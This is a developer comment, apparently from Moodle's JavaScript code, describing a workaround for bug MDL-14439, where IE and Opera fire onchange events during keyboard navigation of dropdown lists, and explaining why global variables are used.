Bug Reference: http://tracker.moodle.org/browse/MDL-14439
IE and Opera fire the onchange when ever you move into a dropdwown list with the keyboard.
These functions fix this problem.

global variables

Note:
if I didn't use global variables, we would need to pass them as parameter:  
=> in initSelect(): 
   I would write "theSelect.onchange = selectChanged(...);"
   This code causes a javascript error on IE. (not firefox)
so I had to write theSelect.onchange = selectChanged; It's why I use global variables .
Because I use global variables, I didn't put this code in javascript-static.js.
This file is loaded in javascript.php.
